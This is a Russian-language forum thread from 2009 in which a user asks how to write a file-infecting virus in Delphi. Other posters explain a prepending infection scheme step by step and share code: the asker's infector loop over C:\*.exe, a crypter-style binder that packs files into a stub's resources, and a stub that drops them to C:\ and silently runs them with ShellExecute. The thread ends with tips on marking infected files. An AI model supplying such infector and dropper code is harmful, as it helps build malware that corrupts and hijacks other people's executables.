вирус на делфи
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
вирус на делфи - 2009-02-11 20:53:26.246666
|
|
|
Chinese
Сообщений: 11
Оценки: 0
Присоединился: 2008-12-26 20:13:57.360000
|
Помогите пожалуйста объясните как реализовывается заражения файла и как это сделать на Дельфи. Троян небольшоййи допатопный я написал. Но сам червя написать несмог, не разобрался с технологией заражения.
|
|
|
RE: вирус на делфи - 2009-02-11 21:02:55.040000
|
|
|
VaZoNeZ
Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
|
Червь не заражает, а путешествует по компьютерам Так что тебе нужно? Черв или вирус, заражающий файлы?
|
|
|
RE: вирус на делфи - 2009-02-11 21:20:13.423333
|
|
|
KJIeBeP
Сообщений: 55
Оценки: 0
Присоединился: 2009-02-07 06:25:18.213333
|
quote:
Червь не заражает, а путешествует по компьютерам cори за ооф топ просто интересна цель путешествия , я новичек сильно не пинайте :)
|
|
|
RE: вирус на делфи - 2009-02-11 22:57:06.433333
|
|
|
Chinese
Сообщений: 11
Оценки: 0
Присоединился: 2008-12-26 20:13:57.360000
|
Нужено написать так чтобы он заражал файлы. Путешествие по сети если будет, то хорошо, если нет, то ну даладно. Вы мне подскажите как заставить вписывать в экзешник свой кусок кода и чтобы потом передовать на него управление. Чесно говоря пытался тупо дописать его сначало в начало файла, а потом в конец, да только грохал файл.
|
|
|
RE: вирус на делфи - 2009-02-11 23:02:04.293333
|
|
|
VaZoNeZ
Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
|
Почитай-ка вот эту главу: Форматы РЕ и COFF объектных файлов Кода прочитаешь, поймешь что надо искать
|
|
|
RE: вирус на делфи - 2009-02-12 19:54:57.903333
|
|
|
Chinese
Сообщений: 11
Оценки: 0
Присоединился: 2008-12-26 20:13:57.360000
|
quote:
ORIGINAL: VaZoNeZ Почитай-ка вот эту главу: Форматы РЕ и COFF объектных файлов Кода прочитаешь, поймешь что надо искать quote:
Почитай-ка вот эту главу: Форматы РЕ и COFF объектных файлов Кода прочитаешь, поймешь что надо искать Да спасибо статья хорошая, но чайник всё равно не понял. Вот имею два файла. Вирус и файл жертву, как заразить файл. Про РЕ я немножноко знаю занимась бонатьным патчингов серийных номеров у прог. Если смотреть на файл через дизасемблер то там всё понятно, заменяшь точку ввхода на свою и всё готово. Но вот как Вдельфи сделать эту замену и куда именно, мне непонятно. Я копирую всой фал через TFileStream в конец фала жертвы. Больше я ничего сделать не смог. Да, но ведь это не есть заражение! Поэтому прошу объяснить на пальцах если это возможно. Исходник ипару вирусов на дельфи откапал но там бональное копирование в нутрь
|
|
|
RE: вирус на делфи - 2009-02-12 20:33:05.140000
|
|
|
VaZoNeZ
Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
|
хочешь, сделай совсем по другому: 1) переименуй жертву 2) копируй себя на место жертвы 3) записывай в конец жертву и удаляй 4) при запуске сделай проверку - если размер запускаемого файла больше, чем скомпилированый вирус первого поколения, то делай заражение и извлечение жертвы в темп с последующим ее запуском. Надеюсь понял метод. А читал внимательно?
|
|
|
RE: вирус на делфи - 2009-02-12 20:46:26.793333
|
|
|
Chinese
Сообщений: 11
Оценки: 0
Присоединился: 2008-12-26 20:13:57.360000
|
метод понятен. но реализация меня затруднила. объясни на примере:
procedure INFECTFILES; //Процедура-инфектор
begin
result := FindFirst('c:\*.exe', faAnyFile, client);
while Result = 0 do
begin
virus := TFileStream.create('c:\Cdir.exe'l, fmOpenRead);
Virus.Read(vir, VirLen);
zertva := TFileStream.create(RESULT, fmCreate);
zertva.Write(vir, virlen);
if (client.size > virlen) and ((Client.size - VirLen) <= VirLen) then
FileSetDate(Zertva.Handle, DateTimeToFileDate(birth));
Zertva.FREE;
Virus.FREE;
end;
Result := FindNEXT(Client);
end;
end;
Да но уменя это дело не работает.
|
|
|
RE: вирус на делфи - 2009-02-12 22:06:40.800000
|
|
|
VaZoNeZ
Сообщений: -6758
Оценки: 0
Присоединился: 2008-10-31 14:38:43.796666
|
компилит или нет? это весь исходник? все переменные описаны?
|
|
|
RE: вирус на делфи - 2009-02-14 21:19:34.140000
|
|
|
Chinese
Сообщений: 11
Оценки: 0
Присоединился: 2008-12-26 20:13:57.360000
|
Да компиляция проходит успешно. Но вот файл портится. Подскажи, что не так.
|
|
|
RE: вирус на делфи - 2009-02-14 22:46:01.760000
|
|
|
4ekist
Сообщений: 42
Оценки: 0
Присоединился: 2008-09-21 02:01:57.343333
|
можно взять код из какого небуть исходника криптора на делфях,и немного переделать… вот например есть код для склеивания:
procedure join_;
var
I:Integer;
H, Size, FH, BR:DWORD;
Local:String;
Buf:Pointer;
begin
Local:= ExtractFilePath(ParamStr(0));
CopyFile(PChar(Local+'Stub\Stub.exe'), PChar(Local+'Out.exe'), False);
H:= BeginUpdateResource(PChar(Local+'Out.exe'), True);
for I:= 0 to LstFile.Items.Count-1 do begin
FH:= CreateFile(PChar(LstFile.Items[I]), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
Size:= GetFileSize(FH, nil);
GetMem(Buf, Size);
ReadFile(FH, Buf^, Size, BR, nil);
CloseHandle(FH);
UpdateResource(H, RT_RCDATA, PChar(UpperCase(ExtractFileName(LstFile.Items[I]))), MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), Buf, Size);
FreeMem(Buf);
end;
EndUpdateResource(H, False);
end;
и стаб: function EnumNamesFunc(hModule:THANDLE; lpType, lpName:PChar; lParam:DWORD):BOOL; stdcall;
var
Info, FH, BW:DWORD;
begin
Result:= True;
Info:= FindResource(0, lpName, lpType);
FH:= CreateFile(PChar('C:\'+lpName), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
WriteFile(FH, LockResource(LoadResource(0, Info))^, SizeOfResource(0, Info), BW, nil);
CloseHandle(FH);
ShellExecute(0, 'OPEN', PChar('C:\'+lpName), '', '', 0);
end; остаётся только переделать под себя,тоесть добавить функцию поиска ехе и заражать его оставляя метку типо заражен;проверку ехе заражен ли он или нет,размер ехе,то вдруг ехешник очень большой , червь может залагать…
|
|
|
|
|